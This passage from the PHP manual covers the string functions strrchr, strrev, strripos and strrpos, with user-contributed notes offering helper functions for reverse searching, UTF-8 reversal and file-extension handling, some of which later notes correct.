$r_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode

$a = strxchr($haystack, $needle, $l_inclusive, $r_inclusive);
if($a){echo "Left: <strong>" . $a[0] . "</strong><br /> Right: <strong>" . $a[1] . "</strong>";}else{echo "Failed!";}
//end test
?>

Thanks to all.

Repley
sekati at gmail dot com 08-Apr-2006 05:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
    return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com 24-Dec-2005 10:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
arcesis - gmail - com 11-Nov-2005 06:26
A quick way to get file's extension (if it has one, otherwise you get an empty string), which can be used when you want to rename the file but keep the old extension. Or for similar purposes. Temporary variable is used just because it's slightly faster to store the value than to run the strrchr() function again.

<?php
$ext = substr(($t=strrchr("file.ext",'.'))!==false?$t:'',1);
?>
Primo Anderson Do Sítio 29-Jul-2005 10:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com 03-Apr-2005 11:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
                return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au 16-Feb-2004 07:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
    $pos = strrpos($haystack, $needle);
    if($pos === false) {
        return $haystack;
    }
    return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org 23-May-2003 04:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com 14-Apr-2003 12:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

    // Returns everything before $needle (inclusive).
    return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

echo strrrchr($string,")"); // Will print FIELD (9)

?>
juancri at tagnet dot org 16-Nov-2002 03:02
this functions returns the name of the current directory.
<?php
function currentd() {
    return substr(strrchr(`pwd`, '/'), 1);
}
?>
strpos
strrev
String Functions


Reverse a string

strrchr
strripos
String Functions
PHP Manual

strrev

(PHP 4, PHP 5)

strrev — Reverse a string

Description

string strrev ( string $string )

Returns string, reversed.

Parameters

string

The string to be reversed.

Return Values

Returns the reversed string.

Examples

Example #1 Reversing a string with strrev()

<?php
echo strrev("Hello world!"); // outputs "!dlrow olleH"
?>

User Contributed Notes

lwc at trashymail dot com 19-Jun-2008 05:00
manfred at werkzeugH dot at, your version works, but do you think it has an advantage over mine? Just wondering if I should update my scripts.

carmel.alex at gmail.com, your version fails with utf8_strrev($string, true). It's something about spaces.

For example, you turn
This software was protected by 2000 patents since 2001
into
2001 ecnis stnetap2000 yb detcetorp saw erawtfos sihT

(note the "stnetap2000").
manfred at werkzeugH dot at 27-May-2008 04:35
here is my version for strings with utf8-characters represented as numerical entities  (e.g. &#1234;)

function utf8_entities_strrev($str, $preserve_numbers = true)
{
  //split string into string-portions (1 byte characters, numerical entitiesor numbers)

  $parts=Array();
  while ($str)
  {
    if ($preserve_numbers && preg_match('/^([0-9]+)(.*)$/',$str,$m))
    {
      // number-flow
      $parts[]=$m[1];
      $str=$m[2];
    }
    elseif (preg_match('/^(\&#[0-9]+;)(.*)$/',$str,$m))
    {
      // numerical entity
      $parts[]=$m[1];
      $str=$m[2];
    }
    else
    {
      $parts[]=substr($str,0,1);
      $str=substr($str,1);
    }
  }

  $str=implode(array_reverse($parts),"");

  return $str;
}
Anonymous 18-Dec-2007 02:30
MOD10, Modulus10 or also called LUHN10 will generate a valid check digit.

<?php
$inv = "34586";
echo $inv . checkdigit($inv);

// Outputs 345868

function checkdigit($num) {
$sum = 0;
$pos = 0;
$rev = strrev($num);
$len = strlen($num);
if ($len % 2 == 0) $len += 1;
while ($pos < $len) {
$odd = $rev[$pos] * 2;
if ($odd > 9) {
$odd -= 9;
}
$sum += $odd;
if ($pos != ($len - 2)) {
$sum += $rev[$pos +1];
}
$pos += 2;
}
return ((floor($sum/10) + 1) * 10 - $sum) % 10;
}
?>
carmel.alex at gmail.com 20-Dec-2006 10:38
to lwc at mytrashmail dot com,  take it easy.

function utf8_strrev($str, $reverse_numbers = true){
    $pattern = $reverse_numbers ? '/./us' : '/(\d+)?./us';
    preg_match_all($pattern, $str, $ar);
    return join('',array_reverse($ar[0]));
}
lwc at mytrashmail dot com 13-Oct-2006 04:01
just as well for UTF-8 usages = I meant also for NONE UTF-8 usages (to keep the numbers unchanged)
lwc at mytrashmail dot com 13-Oct-2006 01:35
/*
Here's a function that adds to carmel.alex's utf-8 encoding support the ability NOT to reverse numbers (for example when you output a phrase as a parameter for a SWF file that can't handle RTL languages itself, but obviously any numbers should remain the same as in the original phrase).

Note that it can be used just as well for UTF-8 usages if you want the numbers to remain intact:
*/

function utf8_strrev($str, $reverse_numbers) {
  preg_match_all('/./us', $str, $ar);
  if ($reverse_numbers)
    return join('',array_reverse($ar[0]));
  else {
      $temp = array();
      foreach ($ar[0] as $value) {
         if (is_numeric($value) && !empty($temp[0]) && is_numeric($temp[0])) {
            foreach ($temp as $key => $value2) {
               if (is_numeric($value2))
                 $pos = ($key + 1);
               else
                  break;
            }
            $temp2 = array_splice($temp, $pos);
            $temp = array_merge($temp, array($value), $temp2);
         } else
            array_unshift($temp, $value);
      }
      return implode('', $temp);
  }
}

// "It says this site is copyrighted just from 2001" (in Hebrew)
$str = "×›×ª×•×‘ ×©×”××ª×¨ ×”×–×” ×ž×•×’×Ÿ ×‘×–×›×•×™×•×ª ×™×•×¦×¨×™× ×¨×§ ×ž××– 2001";
// Reverse everything
$str_blind_reverse = utf8_strrev($str, true);
// Reverse everything but don't change the year 2001 to 1002...
$str_logical_reverse = utf8_strrev($str, false);
carmel.alex at gmail.com 28-Feb-2006 12:54
This function support utf-8 encoding

function utf8_strrev($str){
    preg_match_all('/./us', $str, $ar);
    return join('',array_reverse($ar[0]));
}
tex at i18nguy dot com 22-Aug-2005 09:36
Just a correction to the previous commenter. In ISO 8859-15, the Euro is 0xA4 (164 decimal). It is a 1 byte character.
MagicalTux at FF dot st 12-May-2005 06:20
I will make Screend at hf dot webex dot com's comment more clear and understandable.

strrev only works for singlebyte character-sets. Multibytes charactersets are not compatibles with strrev.

US-ASCII and ISO-8859-1 are compatible with strrev, however BIG5, SJIS, UTF-8 aren't.

Despite what you can think, ISO-8859-15 *is* multibyte (the euro symbol - € - is coded on two bytes).

There's no mb_strrev function in PHP, so you can't strrev() a multibyte string. Try to convert it to something else with iconv() if it can be represented in a singlebyte character set.
avarab at gmail dot com 07-May-2005 12:53
strrev() can be very useful in cases where it makes more sense to do something from the end of a string rather than the beginning (well duh!) such as apply certain regular expressions. Here's a small function to add commas to numbers that works in such a way.

<?php
echo commafy("1500000.1254"); // prints 1,500,000.1254

function commafy($_) {
        return strrev( (string)preg_replace( '/(\d{3})(?=\d)(?!\d*\.)/', '$1,' , strrev( $_ ) ) );
}
?>

I originally wrote it in Perl, does it show? ;=)
Screend at hf dot webex dot com 30-Mar-2004 08:17
this function can only reverse the 1-byte words,like english,it seems,using
<?php
$str=strrev("ºº×Ö");
echo $str;
?>
do not get a right result.
but,you can change 2-bytes characters into a ASCLL,the converse it.
strrchr
strripos
String Functions


Find the position of the last occurrence of a case-insensitive substring in a string

strrev
strrpos
String Functions
PHP Manual

strripos

(PHP 5)

strripos — Find the position of the last occurrence of a case-insensitive substring in a string

Description

int strripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the last occurrence of needle in the haystack string.

Unlike the strrpos(), strripos() is case-insensitive.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards.

Return Values

Returns the position where the needle exists relative to the beginnning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 A simple strripos() example

<?php
$haystack = 'ababcd';
$needle   = 'aB';

$pos      = strripos($haystack, $needle);

if ($pos === false) {
    echo "Sorry, we did not find ($needle) in ($haystack)";
} else {
    echo "Congratulations!\n";
    echo "We found the last ($needle) in ($haystack) at position ($pos)";
}
?>

The above example will output:

   Congratulations!
   We found the last (aB) in (ababcd) at position (2)

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strrchr() - Find the last occurrence of a character in a string
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

Anonymous 31-Aug-2010 01:05
Generally speaking, linear searches are from start to end, not end to start - which makes sense from a human perspective. If you need to find strings in a string backwards, reverse your haystack and needle rather than manually chopping it up.
admin at e-xxi dot net 08-Mar-2010 07:00
strripos() has very strange behaviour when you provide search position. For some reason it searches forward from the given position, instead of searching backward, that is more logical.

For example if you want to find instanse of $what, previous to the last, strripos($where, $what, $last_what_pos-1) will not wark as expected. It will return $last_what_pos again and again. And that has no sence at all.

To prevent this, I just used $prev_last_what_pos = strripos(substr($where,0,$last_what_pos), $what);
dimmav at in dot gr 25-Sep-2008 09:31
Suppose you just need a stripos function working backwards expecting that strripos does this job, you better use the following code of a custom function named strbipos:

<?php
function strbipos($haystack="", $needle="", $offset=0) {
// Search backwards in $haystack for $needle starting from $offset and return the position found or false

    $len = strlen($haystack);
    $pos = stripos(strrev($haystack), strrev($needle), $len - $offset - 1);
    return ( ($pos === false) ? false : $len - strlen($needle) - $pos );
}

// Test
$body = "01234Xy7890XYz456xy90";
$str = "xY";
$len = strlen($body);
echo "TEST POSITIVE offset VALUES IN strbipos<br>";
for ($i = 0; $i < $len; $i++) {
    echo "Search in [$body] for [$str] starting from offset [$i]: [" . strbipos($body, $str, $i) . "]<br>";
}
?>

Note that this function does exactly what it says and its results are different comparing to PHP 5 strripos function.
peev[dot]alexander at gmail dot com 20-Apr-2008 02:14
OK, I guess this will be the final function implementation for PHP 4.x versions ( my previous posts are invalid )

<?php

if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }/* endfunction stripos */
}/* endfunction exists stripos */

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }/* endfunction strripos */
}/* endfunction exists strripos */
?>
peev[dot]alexander at gmail dot com 23-Nov-2007 03:05
Oops, I forgot to return "false" if the needle is not found. Here is the proper function.

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }

        if(strpos($temp_cut, strrev($needle))===false){
             return false;
        }
        else return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
peev[dot]alexander at gmail dot com 17-Oct-2007 05:23
I think you shouldn't underestimate the length of $needle in the search of THE FIRST POSITION of it's last occurrence in the string. I improved the posted function, with added support for offset. I think this is an exact copy of the real function:

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
ElectroFox 02-Aug-2007 01:59
Sorry, I made that last post a bit prematurely.  One more thing wrong with the simple php4 version is that it breaks if the string is not found.  It should actually look like this:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        $pos = strlen($haystack) - strpos(strrev($haystack), strrev($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }
}
?>

Note, we now check to see if the $needle was found, and if it isn't, we return 0.
ElectroFox 02-Aug-2007 01:39
Actually, the above, "Simple way to implement this function in PHP 4" by Yanik Lupien, should be:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), strrev($needle));
    }
}

?>

Note the reversal (<?php strrev($needle)?>) of the search string.  This was left out in Yanik's example, and without it, you'll simply get the length of the haystack, as the forward string will not likely be found in the reversed haystack.

Thus; if we reverse the haystack, any instance of the search string ($needle) therein will also be reversed, so we must reverse it to look for it. :)
Yanik Lupien 03-Jul-2007 10:47
Simple way to implement this function in PHP 4

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), $needle);
    }
}

?>
aidan at php dot net 30-May-2004 10:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
strrev
strrpos
String Functions


Find the position of the last occurrence of a substring in a string

strripos
strspn
String Functions
PHP Manual

strrpos

(PHP 4, PHP 5)

strrpos — Find the position of the last occurrence of a substring in a string

Description

int strrpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the last occurrence of needle in the haystack string.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards.

Return Values

Returns the position where the needle exists relative to the beginnning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.0.0 | The needle may now be a string of more than one character.
5.0.0 | The offset parameter was introduced.

Examples

Example #1 Checking if a needle is in the haystack

It is easy to mistake the return values for "character found at position 0" and "character not found". Here's how to detect the difference:

<?php

$pos = strrpos($mystring, "b");
if ($pos === false) { // note: three equal signs
    // not found...
}

?>

Example #2 Searching with offsets

<?php
$foo = "0123456789a123456789b123456789c";

var_dump(strrpos($foo, '7', -5));  // Starts looking backwards five positions
                                   // from the end. Result: int(17)

var_dump(strrpos($foo, '7', 20));  // Starts searching 20 positions into the
                                   // string. Result: int(27)

var_dump(strrpos($foo, '7', 28));  // Result: bool(false)
?>

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strrchr() - Find the last occurrence of a character in a string
  • substr() - Return part of a string

User Contributed Notes

maxmike at gmail dot com 11-Jul-2009 10:05
I've got a simple method of performing a reverse strpos which may be of use.  This version I have treats the offset very simply:
Positive offsets search backwards from the supplied string index.
Negative offsets search backwards from the position of the character that many characters from the end of the string.

Here is an example of backwards stepping through instances of a string with this function:

<?php
function backwardStrpos($haystack, $needle, $offset = 0){
    $length = strlen($haystack);
    $offset = ($offset > 0)?($length - $offset):abs($offset);
    $pos = strpos(strrev($haystack), strrev($needle), $offset);
    return ($pos === false)?false:( $length - $pos - strlen($needle) );
}

$pos = 0;
$count = 0;
echo "Test1<br/>";
while(($pos = backwardStrpos("012340567890", "0", $pos)) !== false){
     echo $pos."<br/>";
    $pos--;
    if($pos < 0){
        echo "Done<br/>";break;
    }
}
echo "---===---<br/>\nTest2<br/>";
echo backwardStrpos("12341234", "1", 2)."<br/>";
echo backwardStrpos("12341234", "1", -2);
?>

Outputs:
Test1
11
5
0
Done
---===---
Test2
0
4

With Test2 the first line checks from the first 3 in "12341234" and runs backwards until it finds a 1 (at position 0)

The second line checks from the second 2 in "12341234" and seeks towards the beginning for the first 1 it finds (at position 4).

This function is useful for php4 and also useful if the offset parameter in the existing strrpos is equally confusing to you as it is for me.
alexandre at NOSPAM dot pixeline dot be 20-Dec-2008 08:35
I needed to check if a variable that contains a generated folder name based on user input had a trailing slash.

This did the trick:

<?php
    // Detect and remove a trailing slash
    $root_folder = ((strrpos($root_folder, '/') + 1) == strlen($root_folder)) ? substr($root_folder, 0, - 1) : $root_folder;
?>
eagleeye at eeisi dot com 02-Jul-2008 05:44
I had a problem where I was using the following in my .htaccess file.

php_value auto_prepend_file "pre.php"
php_value auto_append_file "post.php"

Not knowing how to prevent the htaccess directives from cascading, without having to put an override .htaccess in each subfolder, I figured, just prevent output in my pre and post scripts if we weren't in the root folder!

I did it using this line of code:

if (strrpos($_SERVER["REQUEST_URI"], "/") != 0) return;

Prevents execution of the rest of the script, and most importantly, doesn't output anything before any other headers may be sent by things in other folders (like my wiki site).
dixonmd at gmail dot com 24-Dec-2007 02:42
<?php
        $pos = strlen(string $haystack) - strpos (strrev(string $haystack), strrev(string $needle)) - strlen(string $needle);
?>

         If in the needle there is more than one character then in php 4 we can use the above statement for finding the position of last occurrence of a substring in a string instead of strrpos. Because in php 4 strrpos uses the first character of the substring.

eg :
<?php
        $haystack = "you you you you you";
        $needle = "you";
        $pos1 = strlen($haystack) - strpos (strrev($haystack), strrev($needle)) - strlen($needle);
        echo $pos1 . "<br>";
        $pos2 strrpos($haystack, $needle);
        echo $pos2 . "<br>";
?>
t dot hornberger at yatego dot com 17-Oct-2007 04:50
the function posted is false, hier the correction:

function rstrpos ($haystack, $needle, $offset)
{
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), strrev($needle), $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos - strlen($needle);
}
Daniel Brinca 15-Oct-2007 05:41
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards  (lastIndexOf type function):

//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), $needle, $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos;
}

Note: supports full strings as needle
pb at tdcspace dot dk 23-Sep-2007 07:26
what the hell are you all doing. Wanna find the *next* last from a specific position because strrpos is useless with the "offset" option, then....

ex: find 'Z' in $str from position $p,  backward...

while($p > -1 and $str{$p} <> 'Z') $p--;

Anyone will notice $p = -1 means: *not found* and that you must ensure a valid start offset in $p, that is >=0 and < string length. Doh
brian at enchanter dot net 16-Jul-2007 07:47
The documentation for 'offset' is misleading.

It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string."

This is confusing if you think of strrpos as starting at the end of the string and working backwards.

A better way to think of offset is:

- If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle).

- If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found.

If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this:

strrpos($text, " ", -(strlen($text) - 50));

If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending.
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 07:08
It would probably be good if someone would care to merge these little thoughts together...

<?php
function super_conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    if(!is_string($haystack)) $haystack = strval($haystack);
    # Setup
    $offset = intval($offset);
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Intermezzo
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    if($offset < 0)
    {
        $haystack = substr($haystack, -$offset);
        $offset = 0;
    }
    elseif($offset >= $hlen)
    {
        trigger_error(__FUNCTION__.'(): Offset not contained in string.', E_USER_WARNING);
        return false;
    }
    # More setup
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 01:57
Full strpos() functionality, by yours truly.

<?php
function conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    $haystack = strval($haystack);
    # Parameters
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Come on, this is a feature too
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    $offset = intval($offset);
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>

Note that $offset is evaluated from the end of the string.

Also note that conforming_strrpos() performs some five times slower than strpos(). Just a thought.
mijsoot_at_gmail_dot_com 06-Mar-2007 01:43
To begin, i'm sorry for my English.
So, I needed of one function which gives me the front last position of a character.
Then I said myself that it should be better to make one which gives the "N" last position.

$return_context = "1173120681_0__0_0_Mijsoot_Thierry";

// Here i need to find = "Mijsoot_Thierry"

//echo $return_context."<br />";// -- DEBUG

function findPos($haystack,$needle,$position){
    $pos = strrpos($haystack, $needle);
    if($position>1){
        $position --;
        $haystack = substr($haystack, 0, $pos);
        $pos = findPos($haystack,$needle,$position);
    }else{
        // echo $haystack."<br />"; // -- DEBUG
        return $pos;
    }
    return $pos;
}

var_dump(findPos($return_context,"_",2)); // -- TEST
Christ Off 29-Jan-2007 10:50
Function to truncate a string
Removing dot and comma
Adding ... only if a is character found

function TruncateString($phrase, $longueurMax = 150) {
    $phrase = substr(trim($phrase), 0, $longueurMax);
    $pos = strrpos($phrase, " ");
    $phrase = substr($phrase, 0, $pos);
    if ((substr($phrase,-1,1) == ",") or (substr($phrase,-1,1) == ".")) {
        $phrase = substr($phrase,0,-1);
    }
    if ($pos === false) {
        $phrase = $phrase;
    }
    else {
        $phrase = $phrase . "...";
    }
return $phrase;
}
Guilherme Garnier 15-Jan-2007 02:44
Actually, there is a little problem on your code: if $needle is not found inside $haystack, the function should return FALSE, but it is actually returning strlen($haystack) - strlen($needle). Here is a corrected version of it:

<?php
function stringrpos($haystack,$needle,$offset=NULL)
{
   if (strpos($haystack,$needle,$offset) === FALSE)
      return FALSE;

   return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
?>
php NO at SPAMMERS willfris SREMMAPS dot ON nl 20-Dec-2006 06:48
<?php
/*******
 ** Maybe the shortest code to find the last occurence of a string, even in php4
 *******/
function stringrpos($haystack,$needle,$offset=NULL)
{
    return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
// @return   ->   chopped up for readability.
?>
purpleidea 27-Nov-2006 12:07
I was having some issues when I moved my code to run it on a different server.
The earlier php version didn't support more than one character needles, so tada, bugs. It's in the docs, i'm just pointing it out in case you're scratching your head for a while.
dmitry dot polushkin at gmail dot com 03-Nov-2006 10:05
Returns the filename's string extension, else if no extension found returns false.
Example: filename_extension('some_file.mp3'); // mp3
Faster than the pathinfo() analogue in two times.
<?php
function filename_extension($filename) {
    $pos = strrpos($filename, '.');
    if($pos===false) {
        return false;
    } else {
        return substr($filename, $pos+1);
    }
}
?>
kavih7 at yahoo dot com 08-Jun-2006 12:53
<?php
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
    if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
    {
        $last_pos = $offset;
        $found = false;
        while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
        {
            $found = true;
            $last_pos = $curr_pos + 1;
        }
        if($found)
        {
            return $last_pos - 1;
        }
        else
        {
            return false;
        }
    }
    else
    {
        return false;
    }
}
?>
shimon at schoolportal dot co dot il 03-May-2006 11:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
gordon at kanazawa-gu dot ac dot jp 13-Sep-2005 09:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
    // same as strrpos, except $needle can be a string
    $strrpos = false;
    if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
        $strlen = strlen($haystack);
        $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
        if (is_numeric($strpos)) {
            $strrpos = $strlen - $strpos - strlen($needle);
        }
    }
    return $strrpos;
}
genetically altered mastermind at gmail 22-Aug-2005 10:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab 10-Aug-2005 04:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
        return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
lwoods 06-Aug-2005 12:03
If you are a VBScript programmer ("ex-" of course), you will find that 'strrpos' doesn't work like the VBScript 'instrRev' function.

Here is the equivalent function:

VBScript:

k=instrrev(s,">",j);

PHP Equivalent of the above VBScript:

$k=strrpos(substr($s,0,$j),'>');

Comments:

You might think (I did!) that the following PHP function call would be the equivant of the above VBScript call:

$kk=strrpos($s,'>',$j);

NOPE!  In the above PHP call, $j defines the position in the string that should be considered the BEGINNING of the string, whereas in the VBScript call, j is to be considered the END of the string, as far as this search is concerned.  Anyway, the above 'strrpos' with the 'substr' will work.
(Probably faster to write a for loop!)
hao2lian 02-Aug-2005 07:50
Yet another correction on the last_index_of function algorithm:

function last_index_of($haystack, $needle) {
    $index = strpos(strrev($haystack), strrev($needle));
    $index = strlen($haystack) - strlen($needle) - $index;
    return $index;
}

"strlen(index)" in the most recent one should be "strlen($needle)".
jonas at jonasbjork dot net 06-Apr-2005 01:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
08-Mar-2005 11:14
In the below example, it should be substr, not strrpos.

<PHP?

$filename = substr($url, strrpos($url, '/') + 1);

?>
escii at hotmail dot com ( Brendan ) 10-Jan-2005 07:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
        while($ret = strrpos($haystack,$needle))
        {
